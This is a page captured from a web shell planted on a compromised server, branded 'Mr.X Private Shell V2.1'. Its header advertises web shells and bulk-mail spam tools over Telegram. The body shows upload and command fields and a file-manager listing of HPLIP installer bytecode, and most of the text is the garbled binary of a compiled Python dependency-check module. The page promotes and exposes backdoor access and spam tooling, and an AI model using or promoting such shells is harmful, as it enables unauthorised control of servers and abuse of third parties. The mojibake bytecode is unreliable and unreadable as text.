__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���gl)���SSKrSSKrSSKrSSKrSSKJrJr SSKrSSK7 SSK	J
r
Jr SSKJ
r
 \R"S\R5r\R"S\R5rSrSrS	qS	qS
rS!SjrS"SjrS#S
jrSrSrSrSrSrSrS$Sjr S%Sjr!Sr"Sr#Sr$Sr%Sr&Sr'Sr(Sr)Sr*Sr+S r,g)&�N)�Popen�PIPE)�*)�utils�services)�
to_bytes_utf8z(\d+\.\d+\.\d+)z
(\d+\.\d+)��c���[R"S[RR	[R
"S5S5-SS9unqUS:wa[RS5 gg)Nz%s -p�ldconfigF��
log_outputrzldconfig failed.)	r�run�os�path�join�which�	ld_output�log�debug)�statuss �$/usr/share/hplip/installer/dcheck.py�update_ld_outputr/sQ���	�	�'�B�G�G�L�L����Z�9P�R\�,]�"]�jo�p��F�I�
��{��	�	�$�%��c�d�[RSX4-5 [R"U5up#US:wa[RS5 gU(a�UR	5Sn[RU5 [RU5nURS5n[U5n[RSXq4-5 Xq:a[RS5 Xq:�$[RS	5 g
![
a SnN�f=f![a SnNyf=f![a gf=f)NzChecking: %s (min ver=%f)r�
Not found!Fr
r	zVer=%f Min ver=%f�"Found, but newer version required.�Found.T)rrrr�
splitlines�
IndexError�ver_pat�search�group�AttributeError�float�
ValueError)�cmd�min_verr�output�line�	match_obj�ver�v_fs        r�
check_toolr.7s���I�I�)�S�N�:�;��Y�Y�s�^�N�F�
��{��	�	�,����
��(�(�*�1�-��
�I�I�d�O����t�,�I�
��o�o�a�(��

&��C�j���	�	�-���>�?��=��I�I�B�C��~�%��I�I�h����-�
���
��"�
���
��
�
��
�s6�C>�D�&D"�>D
�D
�D�D�"
D/�.D/c��[RSU-5 [RU5S:�a[RS5 g[RS5 g)NzChecking for library '%s'...rrTz
Not found.F)rrr�find)�libr(s  r�	check_libr2[sE���I�I�,�s�2�3��~�~�c��a���	�	�(��
��	�	�,��rc���[RSU<SU<S35 [R"USSSUS9Hn[RSU-5  g [RS5 g)	NzSearching for file '�' in '�'...TF��recurse�	abs_paths�return_folders�patternzFile found at '%s'zFile not found.)rrr�	walkFiles)�f�dir�ws   r�
check_filer?isW���I�I�a��=�>�
�_�_�S�$�$�u�^_�
`���	�	�&��*�+��a��I�I�� �rc�<�[RSU<SU<S35 /n[R"USSSUS9H)n[RU5 UR	U5 M+ U(a[RSU-5 U$[RS5 U$)	N�Searching for file(s) 'r4r5TFr6�Found files: %s�No files not found.)rrrr;�append)r<r=�foundr>s    r�locate_filesrFss}���I�I��C�@�A��E�
�_�_�S�$�$�u�^_�
`���	�	�!��
���Q��a�
��	�	�#�e�+�,��L�	�	�	�'�(��Lrc	�h�[RSU<SU<SU<S35 /n[R"USSSUS9H;n[	XB5(dM[RU5 URU5 M= U(a[RSU-5 U$[RS	5 U$)
zR
Find a list of files located in a directory
that contain a specified sub-string.
rAr4z' that contain 'r5TFr6rBrC)rrrr;�check_file_containsrD)r<r=�srEr>s     r�locate_file_containsrJ�s���
�I�I�1�c�ST�U�V��E�
�_�_�S�$�$�u�^_�
`���q�$�$��I�I�a�L��L�L��O�	a�
��	�	�#�e�+�,��L�	�	�	�'�(��Lrc��[RSU<SU<S35 [RR	U5(ag[U5n[
US5HLn[5 X;dM[RSURSS5<SU<S	35  [5 g
 [RS5 [5 g![5 f=f)
NzChecking file 'z' for contents 'r5�rb�'�
rz' found in file 'z'.TzContents not found.F)
rrrr�existsr�open�update_spinner�replace�cleanup_spinner)r<rI�as   rrHrH�s����I�I�1�a�@�A��
�7�7�>�>�!����a� �A��!�T�]��� ��6��I�I�A�I�I�e�S�<Q�ST�U�V��	��#�	�	�	�'�(��	�����s�AC�//C�)C�Cc	�d�Ub[RSU-5 UH_n[5 [R"U5up#USLdM,UH#n[RSX1<SU<S35 M%  [5 g [RS5 [5 g![5 f=f)N�*Searching for '%s' in running processes...TzFound: z (�)�	Not foundF)rrrQr�Is_Process_RunningrS)�process_list�pr�processs    r�check_psr]�s������	�	�>��M�N���A���"�5�5�a�8�N�F���~� �A��I�I�'�*�a�@�A�!��
	���	�	�	�+��������s�*B#�*B#�B#�#B/c�f�0nUb�[RSU-5 UHqn[5 [R"U5up4USLa2[RS[U5-5 UH	nXEX'M M\[RS5 Ms [
5 U$U$![
5 f=f)NrVTzFound: %d processesrX)rrrQrrY�lenrS)�process_name_list�processes_listr[r�	processes�pids      r�
get_ps_pidrd�s����N��$��	�	�>�AR�R�S�	�&��� �#(�#;�#;�A�#>� ���T�>��I�I�3�c�)�n�D�E�(��-6�^��+� )��I�I�k�*�'�
����>���
��s�A7B$�$B0c���[(dL[R"S5n[R"[R
R
US5SS9unq[RU5S:�$)N�lsmodFr
r)�
mod_outputrrrrrrr0)�modulerfrs   r�check_lsmodri�sP���:����G�$��"�Y�Y�r�w�w�|�|�E�7�'C�PU�V���
��?�?�6�"�a�'�'rc��[RSU<SU<35 SnUS:wa3[RU5nUR	S5n[
U5nSnUS:wa3[RU5nUR	S5n[
U5nXR:a[RS5 g[RS	5 g
![
a SnN�f=f![a SnN�f=f![
a SnNof=f![a SnNuf=f)NzChecking: installed ver=z
  min ver=r�-r	r
rFrT)rrr!r"r#r$r%r&)�inst_ver_str�min_ver_strr(r+r,�inst_vers      r�
check_versionro�s	���I�I�,��T�U��G��c���.�.��-�	�	��/�/�!�$�C�	��C�j�G��H��s���.�.��.�	�	��/�/�!�$�C�	��S�z�H�
���	�	�6�7���	�	�(����3�	��C�	���	��G�	���	��C�	���	��H�	�sG�C�C�7C)�	C;�C�C�C&�%C&�)C8�7C8�;D
�	D
c��[RSU-5 [R"U5up#US:wa[RS5 U$UR	5Sn[RU5 [RU5nURS5nU$![
a SnNLf=f![a@ [RU5nURS5nUs$![a Uss$f=ff=f)NzChecking: %srrr
r	)rrrrrr �ver1_patr"r#r$r!)r'�def_verrr)r*r+r,s       r�get_versionrs�s����I�I�n��$�%��Y�Y�s�^�N�F�
��{��	�	�,����	��$�$�&�q�)�D�	�	�	�$���O�O�D�)�	�	��/�/�!�$�C��J��!�	��D�	���	����t�,�I�
��o�o�a�(���
��"�
���
��		�sB�B �
B2� B/�.B/�2C<�C'�#C<�'C8�3C<�7C8�8C<c	��SSKnSnURnU$![aT SRURVs/sHn[U5PM Os snfsn5nU$![a SnU$f=ff=f![a SnU$f=f)Nrrk�.)�dbus�__version__r$r�version�str�ImportError)rv�dbus_version�xs   r�get_python_dbus_verr}s�������	#��+�+�L�����	#�
#�"�x�x����(F��A��Q����(F�G��
���	"�
#�"����	
#��	#��
�������sT�A8��
A5�A �A
�
A �A8� A1�,A5�-A8�0A1�1A5�5A8�8B�Bc��[RS5 SnSSKnSSKJn URnU$![
a SnU$f=f)NzChecking PyQt 4.x version...rkr��QtCore)rr�PyQt4r��PYQT_VERSION_STRrz)r,r�r�s   r�get_pyQt4_versionr�%�N���I�I�,�-�	�C�&��	!��%�%���J�������J����1�A�Ac��[RS5 SnSSKnSSKJn URnU$![
a SnU$f=f)NzChecking PyQt 5.x version...rkrr)rr�PyQt5r�r�rz)r,r�r�s   r�get_pyQt5_versionr�3r�r�c��[RS5 SSKn[UR5nU$![
a gf=f)NzTrying to import 'reportlab'...rrk)rr�	reportlabry�Versionrz)r�r,s  r�get_reportlab_versionr�@sB����	�	�3�4���)�#�#�$���
������s�.2�
?�?c��[RS5 SSKnURnUR
S5S:aUS-
nUR
S5S:aMU$![a UR
nNKf=f![a gf=f)NzChecking PyQt 3.x version...rru�z.0rk)rr�qtr�r$�PYQT_VERSION�countrz)r��pyqtVersions  r�get_pyQt_versionr�Js����I�I�,�-���
	*��-�-�K�����$�q�(��4��K�����$�q�(����
�	*��/�/�K�	*��
����s"�A7�A�A4�3A4�7
B�Bc�N�Sn[/SQ[S9nUR5SRS5nU(a_[R
"S5nUR
5SnURU5(a URU5RS5nU$! SnNn=f)Nrk)�xsanez	--version�2�>z	/dev/null)�stdoutrzutf-8zxsane-(\d{1,}\.\d{1,}).*r	)	rr�communicate�decode�re�compilerr"r#)�
installed_ver�p1r)�
xsane_ver_pat�xsane_ver_infos     r�get_xsane_versionr�]s����M�3�
�=�d�
K���~�~���"�)�)�'�2����z�z�"A�B�
��*�*�,�Q�/������/�/�)�0�0��@�F�F�q�I�M�������s�B�B$c�D�SSKnUR$![a gf=f)Nrrk)�PILrwrz)r�s r�get_pil_versionr�ns*�� ��
���	��	����s��
�c��SSKnSSKnSSKnURURRS5URSS5nURURl	UR5$![a gf=f)Nr�cTrk)�sys�ctypes�ctypes.util�CDLL�util�find_library�DEFAULT_MODE�c_char_p�gnu_get_libc_version�restyperz)r�r��LIBCs   r�get_libpthread_versionr�xsn��+�'�'�
�{�{�6�;�;�3�3�C�8��9L�9L�T�SW�X��,2�O�O��!�!�)��(�(�*�*��
����s�A0�0
A=�<A=c���SSKnSRURRRVs/sHn[U5PM sn5$s snf![a gf=f)Nrrurk)�xml.parsers.expatr�parsers�expat�version_inforyrz)�xmlr|s  r�get_python_xml_versionr��sX��K� ����#�+�+�*;�*;�*H�*H�I�*H�Q�#�a�&�*H�I�J�	J��I������s�A�A�
A!� A!c�"�[R$)N)�proprx�rr�get_HPLIP_versionr��s���<�<�rc�P�[RSSS5S:Xa[S5$g)N�	configurezlibusb01-build�no�yeszlibusb-config --versionz1.0)�sys_conf�getrsr�rr�get_libusb_versionr��s'���|�|�K�!1�4�8�E�A��4�5�5�r)g)r)z/usr/include)z0.0)rk)-r�os.pathr�r��
subprocessrr�codecs�base.g�baserr�base.sixextrr��
IGNORECASErqr!�PID�CMDLINErrgrr.r2r?rFrJrHr]rdrirorsr}r�r�r�r�r�r�r�r�r�r�r�rr�<module>r�s���.
��	�
�"�
�� �%�
�:�:�,�b�m�m�<��
�*�*�&��
�
�
6����
��
�	�
�
�&�!�H����(�&�"�*(� �F�8
�����&�" �	+�K��r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 135 B 0644
core_install.cpython-313.pyc File 100.15 KB 0644
dcheck.cpython-313.pyc File 14.98 KB 0644
pluginhandler.cpython-313.pyc File 24.41 KB 0644
Filemanager